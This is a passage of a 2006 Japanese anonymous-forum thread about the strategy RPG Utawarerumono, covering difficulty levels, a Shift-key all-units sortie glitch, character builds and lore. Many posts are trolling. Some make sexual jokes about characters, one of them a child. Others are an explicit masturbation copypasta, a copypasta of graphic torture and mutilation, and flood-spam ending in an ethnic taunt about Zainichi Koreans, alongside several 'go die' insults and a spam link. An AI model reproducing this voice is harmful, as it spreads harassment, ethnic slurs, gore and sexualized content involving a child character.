659 名前:名無しさんだよもん [2006/11/16(木) 19:27:01 ID:/7YiElD60] 1 名前: ◆Joseph.oLc [sage] 投稿日:2006/11/16(木) 18:45:38 ID:4zI+2dnXP ?BRZ(5050) ポイント特典 ◆1回の入浴平均時間・・・夏は15分、冬は30分 普段、入浴している人(N=6429)に“一回の平均入浴時間”を尋ねたところ、夏は 「15分位」が最も多く26.6%、次いで「20分位」23.1%、「10分位」19.6%と続きました。 また、冬は「30分位」が最も多く29.0%、次いで「20分位」25.2%、「15分位」15.9 %となりました。 --------------------------------------------------------------------- ◆どこから洗う?「頭」47.2%、「顔」18.8%、「腕」13.6%、「首」8.4% “最初に洗う場所”については、「頭(髪)」47.2%、「顔」18.8%、「腕」13.6%、 「首」8.4%という結果になりました。 --------------------------------------------------------------------- ◆お風呂で“身体を洗う”以外にする事は、男性は「ヒゲ剃り」、女性は「考え事」 “体や頭(髪)を洗う、湯船につかる以外に何をしていますか。”と尋ねたところ、 「考え事をする」が最も多く36.0%、次いで「ヒゲ・ムダ毛を剃る」33.8%、「歯を 磨く」24.4%、「浴室掃除をする」22.9%、「マッサージ・体操・ストレッチをする」 17.1%と続きました。 男女別の回答では、男性は「ヒゲ・ムダ毛を剃る」30.5%が最も多く、女性は「考え 事をする」42.0%が最も多い結果となり、また、「浴室掃除をする」、「マッサージ ・体操・ストレッチをする」、「子供と遊ぶ」、「本や雑誌などを読む」は男女の差 が大きく、女性は男性の2倍以上の回答を集めています。 --------------------------------------------------------------------- ◆これは欠かせない! バスタイムの必需品は、「入浴剤」と「読み物」 “バスタイムを楽しむ為に欠かせないもの”を自由回答形式で尋ねたところ、「入浴剤」 が最も多く、586票でした。次いで、「まんがや雑誌などの読み物」(155票)、 「子どものおもちゃ」(71票)を挙げた人が多くなっています。 www.news2u.net/NRR200614245.html >子どものおもちゃ おもちゃだけでいいだろ?うん?
660 名前:名無しさんだよもん [2006/11/18(土) 12:04:41 ID:AaP9K/sf0] アルルゥの・・・ ティンティン
661 名前:名無しさんだよもん [2006/11/18(土) 12:06:03 ID:AaP9K/sf0] エルルゥの・・・ ティンティン
662 名前:名無しさんだよもん [2006/11/18(土) 13:10:17 ID:qU8yt/F10] それはクリトリスのことか?w
663 名前:名無しさんだよもん mailto:sage [2006/11/18(土) 13:11:48 ID:A+I6IwPd0] やつらは人間じゃないからティンティンなんてついてないよ
664 名前:名無しさんだよもん [2006/11/18(土) 14:00:10 ID:qU8yt/F10] じゃあ小便はどこからでるんだw
665 名前:名無しさんだよもん mailto:sage [2006/11/18(土) 14:04:56 ID:UpWlgILP0] 耳
666 名前:名無しさんだよもん mailto:sage [2006/11/18(土) 14:34:24 ID:1HJxQ/9PO] 尻尾の先
667 名前:名無しさんだよもん [2006/11/18(土) 15:52:43 ID:qU8yt/F10] 耳や尻尾の先をマンコにぶちこむ気かぁあああああああああああああ!
668 名前:名無しさんだよもん [2006/11/18(土) 16:05:34 ID:N6CXSPvPO] スレ違いだボケども いっぺん死んでこい
669 名前:名無しさんだよもん [2006/11/18(土) 16:12:46 ID:qU8yt/F10] >>668 自治厨乙wお前が死ねアホボケカス携帯厨wwwwwwwwwwwwwwwwwww
670 名前:名無しさんだよもん [2006/11/18(土) 19:12:40 ID:qU8yt/F10] うたわれるものるぁじぃぃぃいいいいいおぉぉおぉおおおおおおおおおお!!!!!!
671 名前:名無しさんだよもん mailto:sage [2006/11/19(日) 04:00:41 ID:6B5wFPX/0] ID:qU8yt/F10 ウザすぎワロタ
672 名前:名無しさんだよもん [2006/11/20(月) 20:59:40 ID:QXi+N9GP0] このスレも過疎ったな P2P版がでて伸びると思ったが((笑´∀`))
673 名前:名無しさんだよもん mailto:sage [2006/11/20(月) 22:54:13 ID:YBJfpkbv0] 前スレからしてみれは全然過疎ってないような PS版が出てから有意義なのはなくなったけど、 それだけやりこみ要素が無くなってきたとは思う。
674 名前:名無しさんだよもん [2006/11/20(月) 23:47:46 ID:QXi+N9GP0] いや過疎ってるじゃん、荒れてるし あと突っ込んでくれよ・・・ P2P版ってなんだよ!割れ厨か!!!!!!!!!
675 名前:名無しさんだよもん mailto:sage [2006/11/20(月) 23:53:16 ID:TUxJ719S0] PS2版は高難度じゃないから、このスレ的にほとんど影響ないし
676 名前:名無しさんだよもん [2006/11/21(火) 00:14:20 ID:zqKoaCRfO] 割れ厨ワラタ つまらなすぎて
677 名前:名無しさんだよもん [2006/11/21(火) 23:07:34 ID:RzXEPnvt0] 割れXPの俺がきましたよっと
678 名前:名無しさんだよもん [2006/11/22(水) 00:07:53 ID:2/w8SVQ60] 割れXP(失笑)
679 名前:名無しさんだよもん [2006/11/22(水) 00:25:25 ID:xJKyJmIuO] カルラのマンコにチンポぶち込んで犯そうと思ったら 膣圧でチンポ木っ端微塵に潰れた
680 名前:名無しさんだよもん mailto:sage [2006/11/22(水) 00:35:24 ID:Clv605TD0] 病院いけ
681 名前:名無しさんだよもん mailto:sage [2006/11/22(水) 02:02:37 ID:QbSCGs2o0] 逝ったら治るようなもんか
682 名前:名無しさんだよもん mailto:あげ [2006/11/22(水) 10:05:11 ID:2/w8SVQ60] さすがにチンポ木っ端微塵は治らないだろw
683 名前:名無しさんだよもん mailto:sage [2006/11/22(水) 13:23:18 ID:oCW0KLN+0] >>675 いよっ、スオンカス!
684 名前:名無しさんだよもん [2006/11/23(木) 14:59:54 ID:OzigqY3cO] みんな飽きたのかな
685 名前:名無しさんだよもん mailto:sage [2006/11/23(木) 19:37:27 ID:+pxWtnQO0] 逆に考えるんだ PS2の高難度出現を探す為にレスする間もなくがんばっていると
686 名前:名無しさんだよもん mailto:sage [2006/11/24(金) 10:12:09 ID:uqAuRIKw0] 逆に考えるんだ。 PS2版の逆移植版に、10段階の高難度が付くよう レスする間もなく、Leafにmailを送っているんだと。
687 名前:名無しさんだよもん [2006/11/24(金) 20:07:26 ID:ZyIDSrvwO] (゚Д゚)ハァ?
688 名前:名無しさんだよもん mailto:sage [2006/11/25(土) 00:30:00 ID:h6UsHuOs0] そもそもDVD版が出てから一年以上経ってから 一年位かけて細々と攻略したり、 攻略方法のアドバイスをしてきただけなんだから、 過疎ってると思うのは最近来た人なんじゃ? そもそもどうあって欲しいんだ?
689 名前:名無しさんだよもん mailto:sage [2006/11/25(土) 01:44:52 ID:rn1VOWaW0] 最近来たというか、PS2版が出るから盛り上がるかもって思ってたんだよ、割と皆。 そしたら攻略を話し合うまでも無い様な出来だったから拍子抜け。更に嵐も登場。 DVD版の質問する人も最近はいなくなった。 こんな状況だな。
690 名前:名無しさんだよもん mailto:sage [2006/11/25(土) 13:12:55 ID:Nu8LEnq+0] 確かに、、、PS2で盛り上がる気がしてた分 拍子抜けしたから過疎ってる感じがしたかも。
691 名前:名無しさんだよもん mailto:sage [2006/11/25(土) 16:01:46 ID:M0TA9cVs0] カルラはスオンカスのこと多少気に入ってたみたいなのに なんで木っ端微塵にしたの?
692 名前:名無しさんだよもん mailto:sage [2006/11/25(土) 16:16:53 ID:a+GIm2Iq0] 読解力ゼロだな
693 名前:名無しさんだよもん [2006/11/25(土) 16:37:47 ID:LmvddjR70] デリホウライの敵だから
694 名前:名無しさんだよもん [2006/11/25(土) 18:55:45 ID:LmvddjR70] ××の喧嘩祭といえば、六尺褌一丁の男達が、神輿を担いでぶつかり合う、 勇壮な祭として、この地方に知られている。 祭のあと、男達は集会所に集まり、普段着に着替え、飲み合う。 六尺は、激しい祭でドロドロボロボロになるから、使い捨てで、ゴミとして出される。 俺はいつもそれが狙いだ。 捨てられている六尺の、できるだけ汚れてる奴を10数本ほど、 こっそりさらって家に持ち帰る。 そして、深夜、俺一人の祭が始まる。 俺はもう一度汚れた六尺のみ身に付け、部屋中にかっさらってきた六尺をばら撒き、 ウォーッと叫びながら、六尺の海の中を転げ回る。 汚れた六尺は、雄の臭いがムンムン強烈で、俺の性感を刺激する。 前袋の中のマラは、もうすでに痛いほど勃起している。 六尺の中に顔を埋める。臭ぇ。 汗臭、アンモニア臭や、股ぐら独特の酸っぱい臭を、胸一杯に吸い込む。溜まんねえ。 臭ぇぜ、ワッショイ! 雄野郎ワッショイ!と叫びながら、前袋ごとマラを扱く。 嗅ぎ比べ、一番雄臭がキツイやつを主食に選ぶ。 その六尺には、我慢汁の染みまでくっきりとあり、ツーンと臭って臭って堪らない。 その六尺を締めてた奴は、祭で一番威勢が良かった、五分刈りで髭の、40代の、 ガチムチ野郎だろうと、勝手に想像して、鼻と口に一番臭い部分を押し当て、 思いきり嗅ぎながら、ガチムチ野郎臭ぇぜ!俺が行かせてやるぜ!と絶叫し、 マラをいっそう激しく扱く。 他の六尺は、ミイラのように頭や身体に巻き付け、 ガチムチ野郎の六尺を口に銜えながら、ウオッ!ウオッ!と唸りながらマラを扱きまくる。 そろそろ限界だ。 俺は前袋からマラを引き出し、ガチムチ野郎の六尺の中に、思いっきり種付けする。 どうだ!気持良いか!俺も良いぜ!と叫びながら発射し続ける。 本当にガチムチ野郎を犯してる気分で、ムチャクチャ気持ち良い。 ガチムチ野郎の六尺は、俺の雄汁でベトベトに汚される。 ガチムチ野郎、貴様はもう俺のもんだぜ! 俺の祭が済んだあと、他の六尺とまとめて、ビニール袋に入れ押し入れにしまい込む。 また来年、祭で六尺を手に入れるまで、オカズに使う。 押し入れにはそんなビニール袋がいくつも仕舞ってあるんだぜ。
695 名前:名無しさんだよもん [2006/11/25(土) 18:57:26 ID:LmvddjR70] >>1 という男がおってな。 毎晩、毎晩2ちゃんねるという村で「糞すれ」というものを、 たてつづけてな、村人を困らせておったそうな。 その「糞すれ」は村人には嫌われていたんじゃが、 1はたいそう気にいっててな、村人に好かれたいと思って、 「age」というよこしまな技をつかって村人をさらに困らせたんじゃ。 そんな1についにあぼんの神様の天罰がくだってな、 1は十三日の金曜日の日に殺人鬼にナイフで全身の皮を剥がれ、 斧で四肢を切断されてダルマ、挙句竿と上下のタマ四つ引っこ抜かれ、 鼓膜を破られ直腸引き出され鼻を削がれ歯を全て折られ、 焼き鏝で舌と声帯を潰されて尚、死なせて貰えなかったんじゃ。 昔、昔のお話だよ・・・。 || ::::::::::::::::: || :::: ∧_∧ || ( ´Д`) i (・д・)∧ ∧:::::::::: /::: Y i ,-C- 、( y /:::: | /____ヽ (___、|_y∩∩ :::: |::::: " ゝ ヽ__ノ (__ \:::::__ )// // っ⊂L∧ ∧ ∧ ∧ ( ;;;;;;) 12 名前:水先案名無い人[スイッチ入れて10分位すると水がボトボトと降ってくる('A`)sage ] 投稿日:2005/08/02(火) 00:49:57 ID:LT7caQTc0 三 /⌒ヽ ⊂二( ^ω^)ニニ二⊃ 三 ノ / エウレカセブーン / ノ ______ 三 ( 〈 ( ( __―先案名無い人[漫画濡れまくりんぐw今はバケツ設置sage] 投稿日:2005/08/02(火) 00:53:34 ID:LT7caQTc0 はいはいわろすわろすはいはいわろすわろすはいはいわろすわろすはいはいわろすわろす はいはいわろすわろすはいはいわろすわろすはいはいす はいはいわろすわろすはいはいわろすわろすはいはい
696 名前:名無しさんだよもん mailto:sage [2006/11/25(土) 18:59:04 ID:PpbC7TG90] ガチムチがカムチャタールに見えた
697 名前:名無しさんだよもん [2006/11/25(土) 19:04:01 ID:LmvddjR70] 561 :名無しさんだよもん :2006/11/05(日) 23:23:21 ID:7brRzRvb0 スオン戦はカルラを冷遇しているとつらくなるかも。 仮面は、中央の狭くなっているところに陣取るか、奥に引いて陣取るかかな。 俺はいつも中央に陣取っているが。 アヴは、>>561 なるべく中央にアヴ4体が集まるようにカミュとかを生贄。 クロウをうまく逃がして右下の窪みに押し込み、その前をトウカとかで塞ぐ。(クロウを育てていないと仮定) 後は、トウカをどかせ>>561 ばアヴはクロウの方へ、トウカでクロウを塞げば上の双子の方へ行くので、上下に揺さぶり時間を稼ぐ。 これでいけると思う。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 受け入りだけどね受け入りだけどね受け入りだけどね受け入りだけどね 受け入りだけどね受け入りだけどね受け入りだけどね 受け入りだけどね受け入りだけどね 受け入り受け入り受け入り 受け入り受け入り 受け入り 受け入り受け入り受け入>>561 り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り 受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り 受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り>>561 受け入り受けいり受け入り受け入り受け入り受け入り受け入り 受け入り受け入り受け入り受け入り受け入り受け>>561 入り受け入り受け入り 受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り 受 け 入 り に つ い て 詳 し く ! も し か し て 在 日 朝鮮 人 の お 方 で す か ? w
698 名前:名無しさんだよもん [2006/11/25(土) 19:05:17 ID:LmvddjR70] 561 :名無しさんだよもん :2006/11/05(日) 23:23:21 ID:7brRzRvb0 スオン戦はカルラを冷遇しているとつらくなるかも。 仮面は、中央の狭くなっているところに陣取るか、奥に引いて陣取るかかな。 俺はいつも中央に陣取っているが。 アヴは、>>561 なるべく中央にアヴ4体が集まるようにカミュとかを生贄。 クロウをうまく逃がして右下の窪みに押し込み、その前をトウカとかで塞ぐ。(クロウを育てていないと仮定) 後は、トウカをどかせ>>561 ばアヴはクロウの方へ、トウカでクロウを塞げば上の双子の方へ行くので、上下に揺さぶり時間を稼ぐ。 これでいけると思う。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 134氏の受け入りだけどね。 受け入りだけどね受け入りだけどね受け入りだけどね受け入りだけどね 受け入りだけどね受け入りだけどね受け入りだけどね 受け入りだけどね受け入りだけどね 受け入り受け入り受け入り 受け入り受け入り 受け入り 受け入り受け入り受け入>>561 り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り 受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り 受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り>>561 受け入り受けいり受け入り受け入り受け入り受け入り受け入り 受け入り受け入り受け入り受け入り受け入り受け>>561 入り受け入り受け入り 受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り受け入り 受 け 入 り に つ い て 詳 し く ! も し か し て 在 日 朝鮮 人 の お 方 で す か ? w
699 名前:名無しさんだよもん [2006/11/25(土) 19:05:53 ID:LmvddjR70] / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ | このスレ定期的に立つNE! | \____ _________/ V /⌒ヽ ( ^ω^) ... . _| ⊃/(___ _,,..-―'"⌒"~~""~""⌒"~/ └-(____/ ゛゛~ ゛゛~゛⌒゛'―-..,,_ ゙~,,,....-=-‐√"゙゙T"~ ̄Y"゙=ミ ̄ ̄ ̄ ̄ ̄ ̄ ̄ミ=゙゛Y ̄~゛T゙゙゛√‐-=-....,,,~゙ T | l,_,,/\ ,,/l | | lヽ,, /ヽ,,_,l | T ,.-r '"l\,,j / |/ L,,,/ ヽ,,,_l ヽ| ヽ j,,/l゛' r-., ,,/|,/\,/ _,|\_,i_,,,/ / \ ヽ,,,_i,_/|,_ ヽ,/\,|ヽ,, _V\ ,,/\,| ,,∧,,|_/ ヽ_|,,∧,, |,/ヽ,, /V_ _V \/\,| ∧,,|_,,l l,,_|,,∧ |,/ヽ/ V_
700 名前:名無しさんだよもん [2006/11/25(土) 19:07:09 ID:LmvddjR70] ____ / \ /\ キリッ . / (ー) (ー)\ / ⌒(__人__)⌒ \ 女は棒だろうがキュウリだろうが穴に突っ込んだ時点で非処女なんだから | |r┬-| | 男だってドーナツの穴だろうがちくわの穴だろうが突っ込んだ時点で非童貞だろ \ `ー'´ / ノ \ /´ ヽ | l \ ヽ -一''''''"~~``'ー--、 -一'''''''ー-、. ヽ ____(⌒)(⌒)⌒) ) (⌒_(⌒)⌒)⌒)) ____ /⌒ ⌒\ /( ◎) (◎)\ /::::::⌒(__人__)⌒::::: \ そうに違いないお!!! | |r┬-| | \ `ー'ォ /
701 名前:名無しさんだよもん mailto:sage [2006/11/25(土) 20:46:30 ID:rn1VOWaW0] カトリック教徒はペニバンで犯されることは「純潔を失った」とは思わないらしいよ
702 名前:名無しさんだよもん mailto:sage [2006/11/26(日) 00:28:26 ID:7+afg+cR0] すごい裏技見つけた。 もう皆知ってるかもしれんけど。 これやれば称号全制覇も夢じゃなさそうだ。
703 名前:名無しさんだよもん [2006/11/26(日) 09:12:49 ID:PW5aCxzIO] シフト出撃か・?
704 名前:名無しさんだよもん mailto:sage [2006/11/26(日) 10:35:27 ID:7+afg+cR0] >>703 それそれ。何故か全員出撃。 何故か攻略サイトには掲載されてない
705 名前:名無しさんだよもん mailto:sage [2006/11/26(日) 10:42:18 ID:nfBD4sIX0] うん。みんな知ってる。
706 名前:名無しさんだよもん mailto:sage [2006/11/26(日) 11:22:35 ID:yW16QRfJ0] うん、はっきりいって知らない人のほうが珍しい。 残念だったね。
707 名前:名無しさんだよもん mailto:sage [2006/11/26(日) 14:12:06 ID:hwI4VxgS0] そして残念な事に解放or極めしと采配or彷徨いor名も無きを同時に取ることは不可能なんだ だから称号全制覇は無理
708 名前:名無しさんだよもん mailto:sage [2006/11/26(日) 14:35:01 ID:RrTtLqGM0] >>705-707 お前らヒドスw
709 名前:名無しさんだよもん mailto:sage [2006/11/26(日) 17:49:39 ID:hwI4VxgS0] ついでに言うとDVD版発売直後にできた攻略サイトにもシフト出撃は載っています 本当にカムサハムニダ
710 名前:名無しさんだよもん mailto:sage [2006/11/26(日) 18:18:12 ID:9R7xuUwh0] スオンカスと戦う時にはハクオロさんが除外されるけどな それはそれで使えたが('∀`)みんなカルラを狙ってくれるからクリアしやすい
711 名前:名無しさんだよもん mailto:sage [2006/11/26(日) 19:34:14 ID:jrCl7kF10] 海綿で避妊て卑猥だよな・・・ 女家庭教師との近代の恋、いい!
712 名前:名無しさんだよもん mailto:sage [2006/11/27(月) 13:40:33 ID:cSuJpIEQ0] うむむ、上で誰か同じこといってるけど、ベナウィ強いのか…。 高難易度壱やってた時は全く使わなかったんだが、 今度は育ててみようか。でカルラを2軍にまわせばいいのね。
713 名前:名無しさんだよもん [2006/11/27(月) 18:26:26 ID:1NlDTHhW0] クロウが一軍ならクロウでもいいかも
714 名前:名無しさんだよもん mailto:sage [2006/11/27(月) 18:57:15 ID:QguXKuIM0] 高難度5のアブカム戦が怖くて、二ウェのところで わざと負けまくってます。 というか、シフト出撃ってどうやるんですか? 2軍にいるべナクロを固くしたいので。
715 名前:名無しさんだよもん mailto:sage [2006/11/27(月) 20:26:00 ID:FuXEnzTY0] ノーコンじゃないなら出撃させて負け続ければ堅くなるよ キャラ選択画面でシフト押せば全員出撃
716 名前:名無しさんだよもん mailto:sage [2006/11/27(月) 20:51:54 ID:QguXKuIM0] あれ?いかないや。 どうしてだろう
717 名前:名無しさんだよもん mailto:sage [2006/11/27(月) 20:55:45 ID:1NlDTHhW0] shift出撃できないステージもあるよ
718 名前:名無しさんだよもん mailto:sage [2006/11/27(月) 21:54:40 ID:yrmKKdoc0] ナ・トゥンクのあたりがシフト出撃が役に立つところだよな トウカとの橋での戦いの時とかはメンバーは少ないように見えて 見えないところに初期配置されているから注意名。 いないと思っても動かしてみるといたりすることはあるぞ
719 名前:名無しさんだよもん mailto:sage [2006/11/27(月) 23:09:16 ID:yghHc40r0] あるある みんな1列に並んでるのな。隠れたところから出てくるw
720 名前:名無しさんだよもん [2006/11/27(月) 23:43:01 ID:yl/s6OedO] ほかに便利わざないかな?
721 名前:名無しさんだよもん mailto:sage [2006/11/28(火) 05:03:52 ID:lMGt0JmZ0] Shift出撃ってたまに、エルルゥが消えたりすることあるけどな。 回復キャラが消えるって相当困るぞ・・・
722 名前:名無しさんだよもん mailto:sage [2006/11/28(火) 11:06:25 ID:e9Li8ClM0] 別にエルルゥに限らずキャラが入らず消えることはある
723 名前:名無しさんだよもん mailto:sage [2006/11/28(火) 14:28:42 ID:UgJf0L/e0] シフト押しても全員出撃できない… バージョンは1.01だったけどそれが原因かなあ?
724 名前:名無しさんだよもん mailto:sage [2006/11/28(火) 14:37:51 ID:QGrb9a2H0] 一応言っとくが、出場人数制限が解かれるだけで、いない奴も全員出られるわけじゃないぞ
725 名前:名無しさんだよもん mailto:sage [2006/11/28(火) 17:39:52 ID:L0ZPcFyR0] 確かバージョンうpするとできなくなってた気がする
726 名前:名無しさんだよもん mailto:sage [2006/11/28(火) 20:31:39 ID:ja0QqCFj0] 画面外で動けない奴も出撃ボーナスだけはもらえるんだよな。
727 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 07:26:01 ID:9DomHyi00] >>721 なんだ?全員出すと消えるとかのステージか? それなら出したくない奴をクリックしてShiftでおk。 そいつ以外全員出せるというのはあまりにも有名
728 名前:名無しさんだよもん [2006/11/29(水) 11:56:46 ID:nvCmbAEp0] は?
729 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 13:05:34 ID:9DomHyi00] わかりにくかったか。キャラが消えてもポイントは一応入るが、そいつをレベルアップ させたかったりするといやだろ。例えばグラァやウルトやカミュは使い物にならんから そいつらを選択してからShiftキーを押せば残りの出したい奴らが全員出せるということ。 エルルゥが消えると何人か敗走するからそうやればいいんじゃないってこと。
730 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 13:36:58 ID:hCycPNePO] てかバグ技にガタガタ文句つけてんじゃねえよ
731 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 14:01:08 ID:KGiKMlQA0] 誰も文句つけてないと思うが・・・ というか何故にピリピリしてるんだ、ここ
732 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 14:24:16 ID:BIEebI9y0] ところで当方PC版Version1.00なんだが 高難易度5をShiftありでなんとか再トライなしでクリアした。 Shiftなしでクリアできた人はいる?
733 名前:女帝ジョセフィーヌ [2006/11/29(水) 14:31:50 ID:w+cabCj20] アルルゥの・・・・ 黄金水!
734 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 16:00:55 ID:NGEVj5is0] >>733 や!
735 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 18:11:32 ID:M68DwJaF0] >>732 >>4 は全部ノーコンShift無し。
736 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 19:38:21 ID:nRedfGlJ0] 標準から1個ずつやってきて今難易度3で初アグカムウなんだけど何とかなるもんだね。 最初のムティカパでつまってどうなることやらと思ったが、、、 次は4だけど3→4って結構違うもんですか?メンバーかえてアルルウとかクロウとか入れたいんだけど。
737 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 19:40:29 ID:BIEebI9y0] >>735 テンプレのはShiftなしだったのか。壁としてつかってたのかと思った。 リアルウィツァルネミテア>>134 氏は本当にすごいな
738 名前:名無しさんだよもん mailto:sage [2006/11/29(水) 20:06:51 ID:M68DwJaF0] >>736 そこまでは違わないけど、アルルゥたち使った事ないなら参辺りで慣らしてからの方がいいとは思う。 >>737 つか、バージョンアップで修正されるようなものを前提に語る筈がないだろ。 戦い方と育て方さえ身につければ五のノーコンクリアはそこまで難しいわけじゃないしな。
739 名前:名無しさんだよもん mailto:sage [2006/11/30(木) 01:34:09 ID:XeRITLTV0] 前スレのログ読んだけど、134氏は何者だw スゲェw
740 名前:名無しさんだよもん mailto:sage [2006/11/30(木) 02:36:23 ID:Ia1UJCsu0] しかも萌え絵も描けて社会人という完璧超人ぶりだ
741 名前:名無しさんだよもん [2006/11/30(木) 11:08:21 ID:+BartgiXO] 廃人の間違いだろ
742 名前:前スレ134 mailto:sage [2006/11/30(木) 13:16:26 ID:bhGS2bbt0] 実際廃人になりかけてたり、、、 今年末の稼働時間は異常過ぎる・・・ PS2本体を今年買いに行く以前に DVDはいつになったら取りに行けるんだろorz
743 名前:名無しさんだよもん [2006/11/30(木) 14:03:23 ID:BOzOi/0u0] ある日、 エルルゥがコンビニに立ち寄った。 冬の寒い日なので、おでんを買おうとした時、エルルゥが突然何かを叫んだ! エルルゥ 「聞こえる! おでんの中に入ってる昆布が叫んでる〜♪」 ↓ 昆布 「俺をしばるんじゃねぇ〜〜〜!!」
744 名前:名無しさんだよもん [2006/11/30(木) 14:04:41 ID:WdeWHri40] >>743 は?面白いとでも思ったの?つまんねえよクズ死ね
745 名前:712 mailto:sage [2006/11/30(木) 14:41:09 ID:XeRITLTV0] 難易度2でベナウィにやや力を入れて育ててみました。(再戦無) クリア時のステータスはレベル33 攻99 防50 術防28 撃破数73 技5 強いには強かったんですが、オボロ(撃破数137)に比べると見劣りしました…。 技を上げるタイミングが遅すぎた(ハンサナ攻防後に5到達)せいだと思います。 或いは難易度2程度じゃお呼びじゃないとか…? ということで難易度参に挑戦してみます。
746 名前:名無しさんだよもん [2006/11/30(木) 14:44:09 ID:RBYwAFVE0] エロ過ぎw↓ www.familyvaluescrew.com/CDA5240F87574D8387EBDE8FEC733210/tracklink.asp?guid=CAC73F5A30514A3B8AAE8B43881721D0
747 名前:名無しさんだよもん mailto:sage [2006/11/30(木) 20:07:21 ID:B69O1Sdj0] スライムのあたりから要塞と化した若様!
748 名前:名無しさんだよもん mailto:sage [2006/12/01(金) 02:47:23 ID:NLyaM3Yk0] 仮面兵って全部で何匹出るんだろう。 なるべく多く倒したいんで、自キャラの配置のせいで 出現されないと困る
749 名前:名無しさんだよもん mailto:sage [2006/12/01(金) 11:57:33 ID:8sQ3t5uJ0] 家のそばにいかなきゃ全部出てくるよ
750 名前:名無しさんだよもん mailto:sage [2006/12/01(金) 17:52:35 ID:C/FZcDJM0] 難易度3でレベル上げしてないのにテンプレの攻略サイトの目安能力値よりかなり高くなった。 べナとオボロに徹底的に敵や障害物倒させたのがよかったかのかな。 仮面は楽勝だったけど次はクーヤだ。増援まで倒したいなあ。 ちなみに主力レベル28くらいエルルウも29で全然あげてない。
751 名前:名無しさんだよもん [2006/12/01(金) 22:01:48 ID:mnIptzJmO] 高難度3なら余裕だろそんくらい
752 名前:名無しさんだよもん [2006/12/04(月) 07:48:25 ID:jPykVtuRO] まあそうだわな
753 名前:名無しさんだよもん mailto:sage [2006/12/04(月) 20:26:41 ID:MlhB7A7T0] 【前大戦】開戦当初はトゥスクル、ワーベ、オボロ祖父 を配下としたハク神が優勢だったそうだが 「とある理由により」戦局が逆転しゲンジ、カル父を従えたD神が 勝利したそうな とある理由ってなんでしょね・・・ ↑ 続編はこれやりたいなあ
754 名前:名無しさんだよもん mailto:sage [2006/12/04(月) 20:42:06 ID:dGaWy/gJ0] 本スレの>>161-183 はどこまでがホントでどこからが嘘なのさ。 それがわからんから前大戦についても語りようがない。
755 名前:名無しさんだよもん mailto:sage [2006/12/05(火) 04:21:33 ID:DwyLU5TB0] どっかで見つけたPS2版攻略本のインタビューまとめにかいてあった たとえば 【うたわれ世界】舞台は日本 ただし地軸が傾いており ゲーム中の地図も傾いているが、あれがうたわれ世界の正しい角度 日本以外は描かれなかったが実際には別の大陸?も 存在している、が情勢は混沌としているらしい ハクオロ以外のヒトは全て亜人であり、亜人は科学者達に 人間を好きになる様に造られており これがハクオロが皆を惹き付ける要因の一つ 【トゥスクル】前大戦の神にちなんで息子をハクオロ(エル父)と名付ける 本編開始時に担ぎ込まれたハクオロを見て、かつて共に戦った神である 事を看破しかつての名「ハクオロ」を与える 【エルルゥの輪】あの輪っかはミコトの直系の血縁の長女に 受け継がれていた物であり、姉が早世したため例外的に トゥスクルが所持し、それをエルルゥに与えた 【アルルゥ】アルルゥが持つ「森の母」の能力は元々ミコトが持っており それが遺伝し伝わった、しかし必ず発現する素質ではなく エルルゥやトゥスクルには使えない、ミコトの血は各地に散っており それ故「森の母」もアルルゥだけではなくトウカがその存在を 知っていたのもこの為、しかしアルルゥ程の強力な能力は珍しいらしい まだたくさんあるけどすれ違いっぽいので、、ですから753も基本的にあってるかと
756 名前:名無しさんだよもん mailto:sage [2006/12/05(火) 09:09:51 ID:Yd/7kRML0] なら誘導 『うたわれるもの』考察スッドレ ttp://pie.bbspink.com/test/read.cgi/leaf/1157557826/
757 名前:名無しさんだよもん [2006/12/11(月) 10:42:11 ID:GevBMGC+0] 保守age
758 名前:名無しさんだよもん mailto:sage [2006/12/14(木) 13:49:37 ID:Xoni4FRa0] このスレまだ人いるのかな? 前スレから時々話題に挙ってたけど、ベナとクロウが加入時にBP沢山持ってるときと 持ってない時の条件って確定しました? 今までいつも400程たまってたのに、今回全く貯金がなくて計算狂っちゃった 敵の時のレベルアップは関係ないんだね。 撃破数も、とりたてて普段と変わらないのに
759 名前:名無しさんだよもん mailto:sage [2006/12/14(木) 16:38:57 ID:CMb3j18j0] 難度1から初めて、2,3と進めて今難度5をやってるんだが、(勿論ノーコン) 初めて詰まった。3から5の落差は無茶苦茶激しいな。
760 名前:名無しさんだよもん [2006/12/15(金) 00:06:05 ID:lbEPTiak0] 落差?
761 名前:名無しさんだよもん mailto:sage [2006/12/15(金) 00:06:54 ID:X6WCeoy20] このゲームの標準難度は、何のためにあるのだろうか
762 名前:名無しさんだよもん mailto:sage [2006/12/15(金) 02:43:19 ID:MXrViLgX0] SRPGなんてやりたくねえ!ストーリーだけ読みたいんだ!って 人向けとか
763 名前:名無しさんだよもん mailto:sage [2006/12/15(金) 09:35:56 ID:p+5swbjg0] 標準難度がいらないって…CD版の存在意義を全否定ですか
